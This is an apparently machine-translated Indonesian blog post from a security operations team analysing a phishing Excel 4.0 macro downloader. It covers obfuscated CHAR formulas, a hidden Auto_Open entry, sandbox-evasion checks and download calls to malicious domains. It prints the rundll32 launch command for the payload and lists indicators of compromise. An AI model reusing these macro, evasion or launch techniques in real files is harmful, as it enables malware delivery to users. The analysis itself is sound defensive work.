Pusat Operasi Keamanan Tinkoff Kehidupan Sehari-hari: Analisis Bootloader Tunggal

Halo, Habr!

Di Pusat Operasi Keamanan Tinkoff kami, kami secara teratur menganalisis teknik yang digunakan dalam malware dan serangan, dan baru-baru ini kami menemukan satu file menarik yang ingin kami bicarakan.

gambar

Teknik yang digunakan untuk membuat karya besar ini telah dikenal selama lebih dari 20 tahun, tetapi bahkan beberapa dekade kemudian tetap relevan, karena panggilan beberapa cek di makro tidak mencurigakan dan dapat digunakan dalam dokumen yang sah. Ini adalah pengunduh malware yang ditulis dalam makro Excel 4.0.

Alat


Sebagai bagian dari analisis, kami akan menggunakan alat pihak ketiga seminimal mungkin dan bertahan dengan seperangkat program standar:

  • Microsoft Office Suite
  • pengarsip;
  • editor teks;
  • sebagai alat untuk menganalisis tindakan perangkat lunak, kami akan menggunakan Sysmon;
  • sebagai lingkungan untuk analisis, kami akan menggunakan VM dengan Windows 7 on board

Mnogabukaf


Dokumen yang akan kami uraikan adalah buku kerja Excel dalam format xls. Malware dikirim dalam email phising, ketika dokumen dimulai, makro membongkar cabang registri, mengunduh informasi tentang pembaruan Office dari situs web Microsoft, dan juga mengunduh dan meluncurkan .dll berbahaya. Setelah langkah-langkah ini, buku ditutup tanpa menyimpan perubahan.

Perbedaan utama dari loader jenis ini adalah tidak menggunakan macro VBA.

Analisis statis


Berikut ini adalah contoh email yang berisi dokumen jahat.



Buka lampiran di mesin virtual kami.

Anda harus segera memperhatikan: gambar memperingatkan bahwa dokumen itu "dilindungi" dan layak membukanya secara lokal dan mengklik "aktifkan konten":



Sebuah peringatan keamanan mengisyaratkan bahwa Anda perlu melihat proyek-proyek di Visual Basic Editor.

Kami beralih ke pengembang - manajemen makro (vbs), tetapi kami tidak melihat ada vbs atau makro vba:



Inilah saatnya untuk mengingat apa itu dokumen kantor.

Setiap dokumen Microsoft Office adalah arsip yang dapat dibuka ritsleting menggunakan pengarsipan apa pun, mengekstraksi konten dokumen:



Setelah membongkar, kita melihat bahwa di dalam dokumen tidak ada file xml yang biasa kita lihat, masalahnya ada dalam format dokumen yang lebih lama - xls.

Dalam ekstensi xls, konten tidak disimpan dalam format Office Open XML, tetapi dalam format biner BIFF8. Dokumen ini menggunakan Excel 4.0 makro, di mana makro dapat dieksekusi dalam sel dokumen.

Perlu dicatat bahwa lembar dengan makro tidak disembunyikan, tetapi lembar tersebut memiliki banyak sel kosong, yang membuat analisis menjadi sulit.

Ada alat untuk menganalisis file BIFF8, ​​misalnya BiffViewer, dan untuk menganalisis konten ada alat yang hebat - oletools. Tetapi kami akan mencoba melakukannya tanpa menggunakan utilitas pihak ketiga.

Excel juga memiliki format berbasis xml - xlsm, Anda dapat menyimpan kode makro VBA dan lembar makro Excel 4.0 di dalamnya, yang akan kami lakukan.
Daftar lengkap format yang tersedia untuk Excel adalah format excel .

Kami menyimpan dokumen kami, unzip:



Mari kita lihat apa yang ada di file, mulai dengan direktori macrosheets di folder xl dan temukan file dengan semua data di lembar makro:



Jadi, kita mendapatkan semua nilai dalam sel di lembar makro. Makro itu sendiri dikaburkan, sel-sel hanya berisi nilai numerik dan rumus yang mengubah nilai-nilai ini dan menulis hasilnya menjadi sel-sel baru.

Misalnya, dalam rumus ini, nilai numerik dikonversi ke karakter, digabungkan, dan ditulis ke sel FK17653.

Formula dalam excel
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

Sebagai hasil dari rumus, kita mendapatkan baris berikut:



Setiap perintah makro berikutnya "dikumpulkan" dengan formula yang sama, ditulis ke sel, dan kemudian dieksekusi.

Agar makro berjalan secara otomatis ketika dokumen dibuka, sel dari mana skrip harus diluncurkan harus disebut Auto_Open. Pertimbangkan file workbook.xml:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

Di dalam file kita menemukan nama baris = "_ xlnm.Auto_OpenT8nee" hidden = "1"> Sheet2! $ IE $ 65406
Ini berarti bahwa sel yang menjalankan makro, IE65406, disembunyikan. Sekarang kita tahu titik masuk ke makro.

Analisis dinamis


Jangan pernah menjalankan file yang mencurigakan di mesin Anda. Untuk mempelajari tindakan perangkat lunak yang mencurigakan, perlu untuk menggunakan lingkungan yang disiapkan khusus: berbagai kotak pasir atau mesin terisolasi yang disiapkan khusus - virtual atau besi.

Buka dokumen dan jalankan konten. Jendela prompt perintah berkedip dan buku ditutup.
Mari kita lihat log Sysmon.

Sysmon memiliki acara pembuatan proses (id 1), lebih lanjut tentang Sysmon dapat ditemukan di sini .

Dengan log, kita melihat bahwa makro membuat file di direktori c: \ users \ public

Berikut ini adalah pesan sysmon, yang menunjukkan bahwa cabang registri diturunkan dan hasilnya ditulis ke file:

Sysmon Event ID acara 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

Setelah selesai, makro menghapus file yang dibuat.

Untuk melarang penghapusan file, ubah izin pada folder, tinggalkan izin baca dan tulis, dan hapus penghapusan:



Jalankan kembali dokumen, kami akan menerima kesalahan selama eksekusi makro, yang akan memungkinkan kami untuk debug itu.

Ini dimungkinkan karena tidak ada pengecualian dalam menangani beberapa panggilan.





Mari kita jalankan langkah demi langkah makro, selama debug, kita menemukan panggilan fungsi dari perpustakaan dll, seperti ShellExecute dan URLDownloadToFile . Setelah menyelesaikan makro, file-file berikut akan berada di folder pengguna bersama:



Karena kita tahu sel tempat eksekusi dimulai, kita bisa mengisi semua sel di lembar makro. Mari kita pergi makro ke fungsi tutup (salah), di mana kita akan menghentikan eksekusi dengan mengklik tombol "Jeda".

Sel periksa lingkungan


Melihat melalui sel-sel yang diisi oleh makro, kita menemukan beberapa fungsi get.window () dan get.workspace ()

  • Fungsi get.window () mengembalikan informasi tentang jendela saat ini: status, status jendela, namanya, opsi tampilan, dll.
  • Fungsi get.workspace () memungkinkan Anda untuk mencari tahu informasi tentang lingkungan di mana dokumen berjalan.

Daftar lengkap panggilan yang tersedia untuk Excel 4.0 dapat ditemukan di tautan.

Di sini kita perlu membahas lebih detail: kolega saya dan saya menyarankan bahwa sebagian besar panggilan ini terkait dengan upaya untuk mem-bypass kotak pasir:

  • get.winow (7) - memeriksa apakah jendela saat ini disembunyikan. Mengembalikan nilai true atau false.
  • get.windows (20) - mengembalikan true jika jendela dimaksimalkan.
  • get.windows (23) - dapat mengembalikan nilai 1, 2 dan 3.



1 - dipulihkan
2 - diminimalkan
3 - dimaksimalkan

Dengan demikian, ia memeriksa untuk melihat apakah jendela saat ini terbuka:

get.workspace (31) - memeriksa untuk melihat apakah makro sedang di-debug dalam beberapa langkah.
get.workspace (13) - periksa lebar ruang kerja dalam piksel: jika kurang dari 770, buku ditutup



get.workspace (14) - periksa ketinggian ruang kerja dalam piksel: jika kurang dari 390, buku ditutup



get.workspace (19) - centang kehadiran mouse.
get.workspace (1) - mengembalikan sistem operasi yang menjalankan dokumen.
Dalam kasus false, di setiap cek ada transisi ke sel penutup buku tanpa menyimpan hasilnya.

Panggilan Perpustakaan Eksternal


Setelah memeriksa lingkungan, kami beralih ke fungsi utama. Mari kita lihat bagaimana fungsi WinAPI dipanggil dari makro:

1. Panggilan reg.exe, yang kita lihat di log Sysmon.



Untuk memanggil utilitas, fungsi ShellExecute dari pustaka shell32.dll digunakan, parameter untuk fungsi tersebut tersebar di sel lain.

Sel BN16631:



Sel A46097:



Dalam sel GN47559, perintah untuk mengekspor cabang registri yang diperlukan dikirim, Get.workspace (2) mengembalikan versi Excel.



Sel DX48821 berisi jalur tempat hasilnya ditulis.



Lebih lanjut dalam makro ada pemeriksaan untuk keberadaan file IcltdXw.reg yang dibuat dan penghapusannya.

2. Memanggil fungsi URLDownloadToFile. Fungsi ini menyimpan hasil permintaan dapatkan ke file.
Panggilannya adalah sebagai berikut:



Panggilan ini membawa kita ke situs web Microsoft, ke halaman dengan informasi tentang pembaruan Office.

Parameter fungsi:

Sel BR6547



Sel IN49847



Setelah menjalankan instruksi, diperiksa apakah file dibuat, dan juga pembacaan karakter dengan offset dalam file:



Kemungkinan besar, tindakan ini ditujukan untuk memeriksa apakah lingkungan tempat dokumen berjalan memiliki akses Internet.

Dalam rumus, fungsi FILES diteruskan ke iserror dan argumennya adalah nama file di mana hasil dari fungsi URLDownloadToFile harus ditulis:



Cell FM27223 akan memberikan kontrol ke fungsi penutupan buku:



Setelah berhasil menerima file dari Microsoft, sel-sel diisi untuk mempersiapkan panggilan kedua ke urlmon dll.

Pemuatan muatan


Dan ini adalah panggilan kedua, tetapi ke domain dehabadi [.] Ir, dari mana beban berbahaya harus dimuat:



Hasilnya ditulis ke file dalam folder yang sama dengan ekstensi html:



Selanjutnya, kita menemukan cabang dalam kode makro jika, pada upaya pertama untuk mengunduh payload, gagal, upaya kedua akan dilakukan, tetapi dari alamat yang berbeda.

Jika unduhan berhasil, sembulan peringatan akan muncul dan pustaka yang dimuat akan dipanggil.



Panggilan penuh adalah sebagai berikut:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

Dalam panggilan penuh, fungsi ShellExecuteA dipanggil dari pustaka Shell32 dengan parameter untuk meluncurkan rundll32, yang dengannya fungsi yang diekspor dari pustaka jahat yang diunduh dipanggil.

Ini melengkapi fungsi makro, payload sudah habis dan berjalan.

Kesimpulan


Seperti yang dikatakan, teknologinya cukup lama ( Excel 4.0 untuk Windows 3.0 dan 3.1 ), tetapi sepenuhnya menyediakan fungsionalitas yang diperlukan malware untuk mencapai tujuannya. Dan tujuan dari file ini adalah diam-diam meletakkan perangkat lunak berbahaya dalam sistem yang dapat menyebabkan kerusakan serius, mulai dari pencurian data pribadi, data otorisasi untuk sistem, berakhir dengan korupsi data / enkripsi pada komputer dan kemampuan untuk mengeksekusi kode dari jarak jauh.

Untuk menganalisis dokumen semacam itu, sama sekali tidak perlu menggunakan utilitas dan perangkat lunak khusus apa pun, namun perlu disebutkan satu set skrip oletools - Anda dapat melihat detail lebih lanjut di sini . Kami akan berakhir di sini, di bawah ini adalah indikator-indikator kompromi yang diidentifikasi sebagai hasil analisis.

Menerima IOC:

evans [.] williamdmon [@] wp [.] pl
eleventalents [.] com
dehabadi [.] ir
hxxps: //eleventalents.com/wp-keys.php
hxxps: //dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

Daftar lengkap indikator kompromi.

Referensi:


Bekerja pada analisis:

Frolov Ilya
Kolenchuk Alexey

All Articles